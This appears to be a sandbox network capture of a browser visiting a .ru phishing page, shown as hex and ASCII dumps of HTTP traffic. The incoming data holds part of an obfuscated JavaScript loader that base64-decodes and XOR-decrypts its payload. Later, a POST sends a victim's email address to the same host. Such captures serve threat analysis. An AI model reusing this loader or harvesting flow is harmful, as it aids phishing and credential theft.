2025-03-20 07:57:03 UTC	1204	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:57:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2ISdjhbpcvxNF29il%2Fod9gn2G964vg1fvfnc7wyRD0UkbiVflHHKCvokBxnZvzdeALoV7JUpBDpphE2%2Fueyh5cwT7RWX6Wr4q4TxJLv56uMN3rkgDrilNAjfZQQC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10770&min_rtt=10707&rtt_var=4060&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2370&delivery_rate=265994&cwnd=251&unsent_bytes=0&cid=2dc358c829d296a2&ts=281&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlowZXZEZjlYV21pNXlDTXlsT3RkTFE9PSIsInZhbHVlIjoiOGVpWGpOMTJCcGdtekhnVTFFckEyLzVUM0VRSkhlcytYNTI5aDVNNDk4cUh5REw4eDRYajF5RTgvakUxbyt3TjJUT0dIMncxRXcwMm5vdllGWUoxaFUrQUNNZ1VSVFBNUXFwZmJpazRSZDNDUzJPanBTekV5VlFSbEJUSVhocGgiLCJtYWMiOiI0YzUyZWE0ZGQ5NzgwNGQwODQyOWVlMmI5YjgyZTMyNjE3NTkzOTc1NjRiZGVhZTUwMWY3ZDE5MmM3YTFjMzkyIiwidGFnIjoiIn0%3D; expires=Thu, 20-Mar-2025 09:57:03 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-20 07:57:03 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 68 30 59 57 52 30 62 48 45 78 65 58 45 72 53 6d 34 7a 61 45 4e 4c 54 58 70 4b 63 58 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 59 6e 6f 72 5a 45 70 6c 65 6a 56 51 64 47 4a 4a 56 43 74 45 55 45 74 72 4f 45 5a 75 52 30 77 77 55 6c 42 45 53 46 4e 31 4c 32 31 32 62 6b 78 58 64 31 52 71 4f 45 67 31 61 46 52 4f 56 57 4e 34 52 43 74 6d 53 47 64 72 56 32 6b 78 63 48 46 48 4d 32 4e 30 52 44 42 6d 59 57 34 77 4e 31 42 4a 63 6d 64 57 56 6e 52 70 5a 47 64 5a 4c 32 70 79 56 6e 4e 45 62 6e 6c 54 63 32 5a 30 57 46 52 6e 54 58 64 32 57 44 4a 69 52 45 46 55 55 57 6f 33 4d 55 45 78 4d 6b 46 46 51 58 6b 79 53 48 46 4f 65 45 6c 35 61 6d 51 79 64 30 30 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ikh0YWR0bHExeXErSm4zaENLTXpKcXc9PSIsInZhbHVlIjoiYnorZEplejVQdGJJVCtEUEtrOEZuR0wwUlBESFN1L212bkxXd1RqOEg1aFROVWN4RCtmSGdrV2kxcHFHM2N0RDBmYW4wN1BJcmdWVnRpZGdZL2pyVnNEbnlTc2Z0WFRnTXd2WDJiREFUUWo3MUExMkFFQXkySHFOeEl5amQyd00
2025-03-20 07:57:03 UTC	1369	IN	Data Raw: 34 36 61 62 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 78 72 78 55 77 4e 6d 75 62 5a 28 45 49 4d 67 57 45 62 50 67 48 2c 20 51 46 58 49 44 46 70 4e 57 69 29 20 7b 0d 0a 6c 65 74 20 50 50 64 44 75 71 48 4f 74 79 20 3d 20 27 27 3b 0d 0a 45 49 4d 67 57 45 62 50 67 48 20 3d 20 61 74 6f 62 28 45 49 4d 67 57 45 62 50 67 48 29 3b 0d 0a 6c 65 74 20 4a 43 77 6a 54 4b 57 64 70 4c 20 3d 20 51 46 58 49 44 46 70 4e 57 69 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 45 49 4d 67 57 45 62 50 67 48 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 50 50 64 44 75 71 48 4f 74 79 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 45 49 4d 67 57 45 62 50 67 48 2e 63 68 61 72 43 Data Ascii: 46ab<script>function xrxUwNmubZ(EIMgWEbPgH, QFXIDFpNWi) {let PPdDuqHOty = '';EIMgWEbPgH = atob(EIMgWEbPgH);let JCwjTKWdpL = QFXIDFpNWi.length;for (let i = 0; i < EIMgWEbPgH.length; i++) { PPdDuqHOty += String.fromCharCode(EIMgWEbPgH.charC
2025-03-20 07:57:03 UTC	1369	IN	Data Raw: 4b 54 42 59 53 47 79 30 75 42 54 30 49 41 6d 59 44 4d 52 64 34 49 6a 30 74 56 77 6b 44 50 52 34 6d 4d 79 34 61 49 6b 6f 52 63 67 41 36 45 52 38 45 4f 79 31 2b 44 51 4d 39 45 69 31 35 41 77 56 48 53 68 78 6b 47 7a 45 39 43 51 73 71 50 6e 6f 5a 55 6a 30 56 4e 53 30 44 44 6a 55 4f 45 58 49 36 5a 68 63 6e 50 58 73 2b 63 51 70 4d 45 41 45 68 4f 51 4d 46 4f 56 59 35 59 69 35 6d 4f 79 4d 49 66 52 52 58 44 6c 6b 34 46 54 59 34 45 42 55 62 66 54 6f 48 4a 6a 6f 37 49 77 74 2b 4f 58 6f 61 44 44 67 58 52 41 45 44 44 6a 5a 65 45 58 59 31 4d 54 30 4a 43 79 6f 2b 65 68 6c 53 45 53 38 32 49 43 34 46 50 55 6f 58 58 44 5a 6d 46 79 51 63 49 54 74 36 47 6b 38 56 45 52 67 6e 4c 67 6b 59 58 6a 78 39 50 6d 63 75 47 54 30 71 46 67 73 4f 41 43 56 6b 54 53 45 51 47 52 68 65 46 6b Data Ascii: KTBYSGy0uBT0IAmYDMRd4Ij0tVwkDPR4mMy4aIkoRcgA6ER8EOy1+DQM9Ei15AwVHShxkGzE9CQsqPnoZUj0VNS0DDjUOEXI6ZhcnPXs+cQpMEAEhOQMFOVY5Yi5mOyMIfRRXDlk4FTY4EBUbfToHJjo7Iwt+OXoaDDgXRAEDDjZeEXY1MT0JCyo+ehlSES82IC4FPUoXXDZmFyQcITt6Gk8VERgnLgkYXjx9PmcuGT0qFgsOACVkTSEQGRheFk
2025-03-20 07:57:03 UTC	1369	IN	Data Raw: 42 54 6c 56 46 30 4a 45 48 54 30 4a 43 79 6f 2b 63 57 68 37 4e 7a 68 45 4f 67 55 36 52 33 49 43 63 6b 30 38 45 42 31 37 49 52 56 58 43 55 41 74 41 53 59 68 47 42 55 74 56 54 70 62 4a 68 73 56 45 67 52 39 4c 57 35 74 57 52 63 2f 45 79 51 54 66 30 35 4d 50 48 49 69 59 68 41 4e 65 79 45 56 56 77 31 62 4f 42 55 32 4a 79 34 61 51 6c 4d 38 63 68 67 67 46 69 4d 69 49 52 4e 55 44 6b 41 51 46 52 38 74 4c 7a 70 48 63 68 46 32 4e 54 45 39 44 52 78 2f 4c 57 35 74 42 54 67 34 4e 6a 4d 51 46 53 31 56 4f 6c 73 6d 45 79 34 64 45 43 55 54 62 69 41 46 50 78 55 66 66 51 34 63 47 46 34 52 64 6a 55 78 46 79 63 63 66 52 4e 68 45 6b 41 39 45 53 34 69 4b 41 55 35 56 52 64 43 52 42 30 53 47 53 46 36 4d 32 67 6f 54 53 30 37 41 48 6b 72 43 69 56 72 43 51 63 45 46 54 30 4f 65 69 6f Data Ascii: BTlVF0JEHT0JCyo+cWh7NzhEOgU6R3ICck08EB17IRVXCUAtASYhGBUtVTpbJhsVEgR9LW5tWRc/EyQTf05MPHIiYhANeyEVVw1bOBU2Jy4aQlM8chggFiMiIRNUDkAQFR8tLzpHchF2NTE9DRx/LW5tBTg4NjMQFS1VOlsmEy4dECUTbiAFPxUffQ4cGF4RdjUxFyccfRNhEkA9ES4iKAU5VRdCRB0SGSF6M2goTS07AHkrCiVrCQcEFT0Oeio
2025-03-20 07:57:03 UTC	1369	IN	Data Raw: 52 41 4e 4c 54 34 2b 66 6a 52 41 46 51 34 6d 4f 68 4d 61 41 45 30 37 42 7a 6f 2b 46 67 30 66 64 44 70 71 62 45 49 39 50 45 41 42 41 77 34 32 41 54 78 79 47 47 59 57 44 52 39 6d 49 6e 35 68 54 42 41 52 4c 6a 77 6f 43 68 74 50 45 58 59 74 4d 53 55 64 4c 69 45 56 56 42 59 41 50 52 56 45 4c 52 34 61 54 6c 49 43 62 54 34 6a 50 51 38 59 49 52 51 4c 4e 46 73 57 50 41 4d 38 4c 67 6f 62 43 54 70 79 49 58 30 33 49 77 73 71 4a 33 34 67 52 52 59 37 42 79 30 72 42 54 31 56 41 6c 39 45 50 78 55 43 47 48 30 55 63 52 55 44 4f 43 39 4e 4a 79 68 2f 51 67 6b 37 54 45 45 34 46 6e 68 7a 49 78 56 2b 44 6c 30 58 45 52 67 77 42 69 41 35 54 7a 70 6d 54 54 77 58 65 51 63 30 4a 77 73 43 58 52 59 42 47 44 6b 76 47 55 5a 33 4f 67 64 42 5a 68 64 34 48 44 51 55 56 42 34 46 4f 7a 67 51 Data Ascii: RANLT4+fjRAFQ4mOhMaAE07Bzo+Fg0fdDpqbEI9PEABAw42ATxyGGYWDR9mIn5hTBARLjwoChtPEXYtMSUdLiEVVBYAPRVELR4aTlICbT4jPQ8YIRQLNFsWPAM8LgobCTpyIX03IwsqJ34gRRY7By0rBT1VAl9EPxUCGH0UcRUDOC9NJyh/Qgk7TEE4FnhzIxV+Dl0XERgwBiA5TzpmTTwXeQc0JwsCXRYBGDkvGUZ3OgdBZhd4HDQUVB4FOzgQ
2025-03-20 07:57:03 UTC	1369	IN	Data Raw: 6c 53 4c 54 74 4e 66 67 59 56 4f 56 59 42 59 69 59 67 45 44 41 6c 4b 6a 70 36 47 51 55 58 48 68 4d 74 42 43 4d 31 44 52 46 39 50 6a 67 74 4a 77 38 69 4f 6e 6f 76 55 6a 6b 56 41 79 30 48 44 67 42 65 46 58 5a 41 4c 6a 38 65 4f 51 59 2b 65 68 6c 53 50 52 35 45 41 51 6b 6b 4e 6c 34 52 64 6a 59 35 4c 68 30 4d 4a 69 31 68 45 56 49 56 45 6a 45 74 4c 7a 6f 59 58 68 46 32 4e 54 45 39 43 51 67 35 4c 6d 45 53 57 78 55 42 51 48 77 44 43 54 59 4f 47 31 77 31 4d 54 30 4a 43 79 6f 2b 66 67 4a 44 46 6a 67 6c 50 69 6c 2f 47 77 38 43 59 52 73 78 4f 53 4e 2b 66 42 52 55 44 6b 45 37 49 52 73 74 41 77 34 32 58 68 46 32 4e 6a 73 57 65 48 39 39 4f 32 45 38 57 52 55 42 45 43 55 75 43 52 68 65 46 6b 38 31 49 54 73 39 4a 53 6f 2b 65 68 6c 53 45 67 63 62 41 51 4d 4f 4e 6c 34 52 63 Data Ascii: lSLTtNfgYVOVYBYiYgEDAlKjp6GQUXHhMtBCM1DRF9PjgtJw8iOnovUjkVAy0HDgBeFXZALj8eOQY+ehlSPR5EAQkkNl4RdjY5Lh0MJi1hEVIVEjEtLzoYXhF2NTE9CQg5LmESWxUBQHwDCTYOG1w1MT0JCyo+fgJDFjglPil/Gw8CYRsxOSN+fBRUDkE7IRstAw42XhF2NjsWeH99O2E8WRUBECUuCRheFk81ITs9JSo+ehlSEgcbAQMONl4Rc
2025-03-20 07:57:03 UTC	1369	IN	Data Raw: 6e 42 31 41 43 59 69 34 67 46 79 63 66 4b 68 4a 4f 4e 31 49 39 46 54 55 74 41 77 34 31 55 7a 6f 48 51 57 59 75 48 58 39 39 4f 46 41 5a 57 7a 34 73 42 77 45 44 44 6a 5a 65 45 58 59 31 4d 52 63 4e 63 7a 63 57 59 51 70 46 46 6d 52 41 66 41 4d 4b 4d 56 41 37 42 30 30 6c 45 42 49 59 49 54 68 4f 4e 31 49 39 46 54 55 74 41 77 34 31 43 54 6f 47 4e 57 41 39 44 67 74 36 4e 46 41 5a 55 6a 30 56 4e 53 30 44 43 67 39 56 41 6c 73 6c 59 44 30 4f 43 33 6f 30 55 42 6c 53 50 52 55 31 4c 51 4d 46 50 55 6b 43 42 78 78 6d 4f 79 4d 4c 4f 6a 68 4f 4e 31 49 39 46 54 55 74 41 77 34 31 55 44 6f 47 4a 6d 59 57 65 48 70 37 50 6e 30 5a 41 6a 63 2f 4e 53 30 44 44 6a 5a 65 45 58 49 2b 50 69 31 34 50 69 4d 55 56 47 45 45 46 6a 73 6c 66 41 4d 46 50 56 63 42 57 44 45 35 4f 51 6b 39 4b 6a Data Ascii: nB1ACYi4gFycfKhJON1I9FTUtAw41UzoHQWYuHX99OFAZWz4sBwEDDjZeEXY1MRcNczcWYQpFFmRAfAMKMVA7B00lEBIYIThON1I9FTUtAw41CToGNWA9Dgt6NFAZUj0VNS0DCg9VAlslYD0OC3o0UBlSPRU1LQMFPUkCBxxmOyMLOjhON1I9FTUtAw41UDoGJmYWeHp7Pn0ZAjc/NS0DDjZeEXI+Pi14PiMUVGEEFjslfAMFPVcBWDE5OQk9Kj
2025-03-20 07:57:03 UTC	1369	IN	Data Raw: 4e 79 4d 4c 4b 6a 35 36 47 67 77 33 4d 52 73 74 41 77 34 32 58 68 52 59 4d 6a 38 57 65 52 78 39 4f 33 6f 5a 51 42 64 6b 49 6a 4d 75 49 42 74 54 41 6d 30 35 4a 54 30 4a 66 7a 6f 56 43 68 49 46 4c 6a 74 4e 4f 53 73 61 54 30 6f 52 64 6b 46 6d 4c 68 49 45 66 52 5a 75 61 55 4d 57 4f 78 67 69 4b 41 55 36 53 68 46 32 51 54 77 57 65 48 39 39 4c 6d 34 57 42 54 30 65 42 77 45 44 44 6a 5a 65 45 58 59 31 4d 53 30 6e 44 43 63 57 43 7a 78 4d 46 6d 55 69 50 78 41 4f 52 6c 4d 36 42 77 77 67 46 79 41 6c 4b 68 4d 4c 4d 45 55 51 45 53 46 39 43 53 51 32 58 68 46 32 4e 54 45 39 44 58 73 6c 46 46 51 38 52 52 59 38 47 79 30 48 4a 7a 56 4f 50 58 45 48 48 54 30 4a 43 79 6f 2b 65 68 6c 53 4c 54 74 4e 4d 78 41 4b 49 55 41 55 62 54 34 2b 4c 67 30 6d 66 42 52 44 4e 31 49 35 41 6a 59 Data Ascii: NyMLKj56Ggw3MRstAw42XhRYMj8WeRx9O3oZQBdkIjMuIBtTAm05JT0JfzoVChIFLjtNOSsaT0oRdkFmLhIEfRZuaUMWOxgiKAU6ShF2QTwWeH99Lm4WBT0eBwEDDjZeEXY1MS0nDCcWCzxMFmUiPxAORlM6BwwgFyAlKhMLMEUQESF9CSQ2XhF2NTE9DXslFFQ8RRY8Gy0HJzVOPXEHHT0JCyo+ehlSLTtNMxAKIUAUbT4+Lg0mfBRDN1I5AjY
2025-03-20 07:57:03 UTC	1369	IN	Data Raw: 31 49 39 46 54 55 74 41 77 34 31 54 51 46 74 50 6a 67 56 48 58 35 37 50 6e 30 64 51 68 63 65 45 79 30 48 43 51 52 79 45 58 59 31 4d 54 30 4a 43 79 6f 74 56 47 46 41 45 42 56 46 4d 43 73 56 42 31 55 58 58 44 55 75 4f 43 41 63 4e 43 31 75 61 41 49 33 50 7a 55 74 41 77 34 31 41 42 74 53 47 7a 45 39 43 51 73 71 4f 30 41 33 55 69 49 52 49 6a 41 75 43 68 74 4e 4f 67 64 42 4a 69 30 64 4d 6a 63 2b 65 6a 64 44 4e 7a 38 31 4c 51 4d 4f 4e 6b 77 38 63 69 49 73 45 41 30 6d 4f 52 55 4c 62 55 55 74 41 51 4d 2b 4b 78 55 6c 56 54 70 6d 4e 69 59 57 48 53 6b 71 45 6b 34 33 55 6a 30 56 4e 53 30 44 44 6a 55 4b 4f 57 49 6d 5a 68 55 4f 4a 53 6f 36 62 52 6c 43 46 78 34 54 66 51 6b 6b 4e 6c 34 52 64 6a 55 78 50 51 30 69 49 52 5a 75 50 46 6f 51 45 68 73 74 42 78 6b 32 54 6a 74 39 Data Ascii: 1I9FTUtAw41TQFtPjgVHX57Pn0dQhceEy0HCQRyEXY1MT0JCyotVGFAEBVFMCsVB1UXXDUuOCAcNC1uaAI3PzUtAw41ABtSGzE9CQsqO0A3UiIRIjAuChtNOgdBJi0dMjc+ejdDNz81LQMONkw8ciIsEA0mORULbUUtAQM+KxUlVTpmNiYWHSkqEk43Uj0VNS0DDjUKOWImZhUOJSo6bRlCFx4TfQkkNl4RdjUxPQ0iIRZuPFoQEhstBxk2Tjt9
2025-03-20 07:57:03 UTC	1369	IN	Data Raw: 39 43 43 52 52 74 45 44 6f 56 48 53 34 69 45 33 30 33 55 69 30 37 54 54 6b 51 43 51 52 79 45 58 59 31 4d 54 30 4a 43 79 6f 54 63 52 4a 64 46 6a 67 36 4f 69 34 4b 47 30 38 36 58 78 73 78 4c 53 63 4d 4a 78 59 4c 50 45 77 57 5a 53 49 2f 45 41 35 47 55 7a 6f 48 44 43 41 58 49 77 73 36 4f 31 4d 57 54 7a 30 52 49 69 49 70 66 79 49 4f 47 31 77 31 4d 54 30 4a 43 48 51 30 58 6a 64 53 50 52 55 31 4c 51 59 67 4f 55 38 36 57 79 59 2b 4c 58 6b 62 4b 69 31 55 59 55 77 57 42 54 59 6a 4c 68 55 6c 43 54 6f 48 51 47 41 56 44 58 4e 2f 4c 57 45 52 55 68 45 68 47 79 30 44 44 6a 5a 65 45 58 59 32 50 79 30 64 42 44 38 74 43 68 4a 44 45 41 46 42 49 51 59 61 4f 55 38 36 63 6b 30 76 4f 79 4d 4c 4a 7a 70 54 4d 77 45 35 45 54 31 2f 42 54 6f 59 58 68 46 32 4e 54 45 53 47 79 55 47 50 Data Ascii: 9CCRRtEDoVHS4iE303Ui07TTkQCQRyEXY1MT0JCyoTcRJdFjg6Oi4KG086XxsxLScMJxYLPEwWZSI/EA5GUzoHDCAXIws6O1MWTz0RIiIpfyIOG1w1MT0JCHQ0XjdSPRU1LQYgOU86WyY+LXkbKi1UYUwWBTYjLhUlCToHQGAVDXN/LWERUhEhGy0DDjZeEXY2Py0dBD8tChJDEAFBIQYaOU86ck0vOyMLJzpTMwE5ET1/BToYXhF2NTESGyUGP

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:03 UTC	1127	OUT	GET /weMiO5475NClmL4euocG4r3o HTTP/1.1 Host: 8rgz.mdrvgqsm.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InViUFJsR3FuQ1hGOThEVVFxcFNsenc9PSIsInZhbHVlIjoiQVdpRGZJTUh6dUV4OW9hWHUra3NDTmhkTEx6M3dOVmpLa1Nxem1DMHorR0dRblh0Yk1jZzhqalBTOTFVdVptUU9QMFZnaERzRURsY1pPTFpDbGRUbFBCY1FiYWdKMFFpRUpWM2RPSCtheEVBbGtiSzczRTNjcFg1ZkpPMTNjcG0iLCJtYWMiOiJjNWMyNGJmNWRiY2ExYTk4NGQyNjExMTk5NmU1NjAyN2E5OWY2MTA0NDEwOGU0MGQ2YmI4ZTFmMjBlMzI5MTI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InAwUmJ6eGFnK3crME1EeWNVSm5vZlE9PSIsInZhbHVlIjoiYU9YOVhHOXNRaERPT1p2cElKU2JQV1hwQm5nUVRxL2RGamw4bkMwVTZobmN4VGdXVlhJVUtlc2swRlRJRk1PdHNxL1d4Y0FiT3Qyd0thV2ZtaTdEMVc5N3k4TWVIdHRYR25tcFhGN1Z6QitkNmRJcXJZdEVQRXgzdGpCNHBIK0giLCJtYWMiOiI5ZmU0ZjQ1ZjA4NjU4MGRkMjFmYTgyY2VhZTI4YTAyYjVjZDAwYzAxZmVkMzRmYTI0Y2ZjOGMwNjBkYzJkZDRhIiwidGFnIjoiIn0%3D
2025-03-20 07:57:03 UTC	1024	IN	HTTP/1.1 404 Not Found Date: Thu, 20 Mar 2025 07:57:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E%2B9u8CO2pzROYQZSdvlnIJwRvjU59jGQW3NnAPHYhkB1IYsmtVuvCXTXFMuzyLFbZmYvsZi0r9VLPxkPTT8wRuVu%2BKuSO2zmuf9WsU%2F6S3LKShW4MckN2CJYxkFh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=9981&min_rtt=9900&rtt_var=3770&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2030&delivery_rate=287676&cwnd=245&unsent_bytes=0&cid=0e3f643cc6b717b3&ts=284&x=0" Server: cloudflare CF-RAY: 9233a80f2f6ac475-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=99537&min_rtt=96404&rtt_var=23477&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1699&delivery_rate=38614&cwnd=238&unsent_bytes=0&cid=8e58f6c032ff1521&ts=717&x=0"
2025-03-20 07:57:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:03 UTC	1453	OUT	POST /lmHT5z2W4YMAOP4I9no6XMAOCRLoylOBPtFPoLHZEBlxY3Sjy HTTP/1.1 Host: 8rgz.mdrvgqsm.ru Connection: keep-alive Content-Length: 24 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://8rgz.mdrvgqsm.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://8rgz.mdrvgqsm.ru/1djFOQV/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlowZXZEZjlYV21pNXlDTXlsT3RkTFE9PSIsInZhbHVlIjoiOGVpWGpOMTJCcGdtekhnVTFFckEyLzVUM0VRSkhlcytYNTI5aDVNNDk4cUh5REw4eDRYajF5RTgvakUxbyt3TjJUT0dIMncxRXcwMm5vdllGWUoxaFUrQUNNZ1VSVFBNUXFwZmJpazRSZDNDUzJPanBTekV5VlFSbEJUSVhocGgiLCJtYWMiOiI0YzUyZWE0ZGQ5NzgwNGQwODQyOWVlMmI5YjgyZTMyNjE3NTkzOTc1NjRiZGVhZTUwMWY3ZDE5MmM3YTFjMzkyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ikh0YWR0bHExeXErSm4zaENLTXpKcXc9PSIsInZhbHVlIjoiYnorZEplejVQdGJJVCtEUEtrOEZuR0wwUlBESFN1L212bkxXd1RqOEg1aFROVWN4RCtmSGdrV2kxcHFHM2N0RDBmYW4wN1BJcmdWVnRpZGdZL2pyVnNEbnlTc2Z0WFRnTXd2WDJiREFUUWo3MUExMkFFQXkySHFOeEl5amQyd00iLCJtYWMiOiI3NWRmMTYwMjA4Mzg0ZjlkMzExZTg1NGE2YzdlMDBiMTIwYTQzZTU2NTVjNWE5NDBlNWU4Y2M4ZGIzMjdlZTZjIiwidGFnIjoiIn0%3D
2025-03-20 07:57:03 UTC	24	OUT	Data Raw: 64 61 74 61 3d 79 48 6d 6c 6f 77 25 34 30 74 65 72 6d 61 78 2e 63 6f 6d Data Ascii: data=yHmlow%40termax.com
2025-03-20 07:57:04 UTC	1202	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:57:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mbFOQBjLhcNGHTwZ6oyDyS9lrnxEF6eANlbisAIIKfPOPZPuTugWzAqEyy%2Bzm5fwr8iZf55HAKQQIG8QNKS0PVi0a6azHHooUD%2BpI4XJP4Hvz7ukpeL5RomNYKSB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=9793&min_rtt=9751&rtt_var=3687&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2380&delivery_rate=292072&cwnd=229&unsent_bytes=0&cid=e276d7369803d0b9&ts=433&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImNpbzhCcUZWVlRyRFc2dWVUTHB6MFE9PSIsInZhbHVlIjoidGFLTkl4clJqM1F1eVorSVBWZ3lOZWdBYWVrVkRjTnpKOExnYmtmNWM2SGRhR1NuVzFBcGdYV0ZSckMwY2NxbkRTaUZXMDlFNk12bWxiWm1DQVlRTXEvMC9NSkJkUUs4VWFCaitPUloyVVY0aklsZlB1ZnhrVTZUcjVVUWc0bjgiLCJtYWMiOiIyNmNlZDVlNDEyNTI0MjBhOWFmZjE4M2NjNzE5NzY0ODA3YWVkODhhYmQwYTdjMzJjYzU1MTQwN2U1ZjlmNWE1IiwidGFnIjoiIn0%3D; expires=Thu, 20-Mar-2025 09:57:04 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-20 07:57:04 UTC	768	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 4e 53 59 57 70 44 53 44 4e 4a 51 33 4e 70 63 54 56 69 61 55 35 6b 4f 54 4a 57 4e 47 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 62 7a 6c 73 62 30 6b 35 54 32 49 77 62 33 70 68 5a 43 74 6e 4f 47 46 52 59 55 51 72 62 56 59 30 54 48 41 34 55 45 4a 42 53 45 46 79 4f 46 46 75 57 58 42 51 56 56 4a 61 64 6a 68 4b 59 32 46 58 57 47 5a 4d 5a 30 59 30 65 58 45 7a 62 31 41 30 5a 58 68 33 53 6e 56 74 53 55 64 36 59 55 51 76 59 57 6c 5a 5a 48 6f 79 4e 47 64 68 53 54 41 79 64 6c 59 76 59 30 39 4f 59 69 39 78 5a 54 6c 6f 64 47 78 75 59 30 51 32 53 31 4a 55 4d 6b 46 6b 59 6a 4a 36 55 7a 52 78 61 57 64 31 4d 6b 35 42 55 6e 70 6d 64 57 46 69 56 7a 4d Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjNSYWpDSDNJQ3NpcTViaU5kOTJWNGc9PSIsInZhbHVlIjoibzlsb0k5T2Iwb3phZCtnOGFRYUQrbVY0THA4UEJBSEFyOFFuWXBQVVJadjhKY2FXWGZMZ0Y0eXEzb1A0ZXh3SnVtSUd6YUQvYWlZZHoyNGdhSTAydlYvY09OYi9xZTlodGxuY0Q2S1JUMkFkYjJ6UzRxaWd1Mk5BUnpmdWFiVzM
2025-03-20 07:57:04 UTC	317	IN	Data Raw: 31 33 36 0d 0a 7b 22 61 22 3a 22 68 6d 52 6d 62 53 39 37 54 34 65 59 46 38 67 57 41 44 37 36 36 42 4f 6e 4c 68 6c 79 74 64 73 66 6d 4a 73 58 78 4c 43 52 6b 5a 6a 4d 34 4b 4e 4b 65 73 73 61 77 4c 39 56 2b 65 42 63 7a 55 45 69 67 6c 6f 36 43 54 36 37 70 54 6a 59 5a 72 2b 6d 6c 31 77 4c 61 68 39 6d 72 77 30 4a 32 44 33 2b 43 47 38 35 72 41 4c 45 79 44 79 43 73 36 61 5a 52 33 2b 30 53 57 56 72 67 52 76 42 5c 2f 63 39 76 75 48 32 47 6a 7a 51 53 69 45 58 39 50 6b 37 56 37 73 4b 6a 59 51 3d 3d 22 2c 22 62 22 3a 22 39 34 32 37 33 36 38 37 62 37 30 38 31 66 38 34 30 65 63 39 63 34 39 39 35 34 33 65 64 62 39 62 22 2c 22 63 22 3a 22 61 61 36 33 38 63 33 35 65 37 35 35 31 66 36 37 64 35 62 30 31 35 65 66 61 36 62 37 31 62 61 36 22 2c 22 64 22 3a 22 33 31 36 34 33 35 Data Ascii: 136{"a":"hmRmbS97T4eYF8gWAD766BOnLhlytdsfmJsXxLCRkZjM4KNKessawL9V+eBczUEiglo6CT67pTjYZr+ml1wLah9mrw0J2D3+CG85rALEyDyCs6aZR3+0SWVrgRvB\/c9vuH2GjzQSiEX9Pk7V7sKjYQ==","b":"94273687b7081f840ec9c499543edb9b","c":"aa638c35e7551f67d5b015efa6b71ba6","d":"316435
2025-03-20 07:57:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
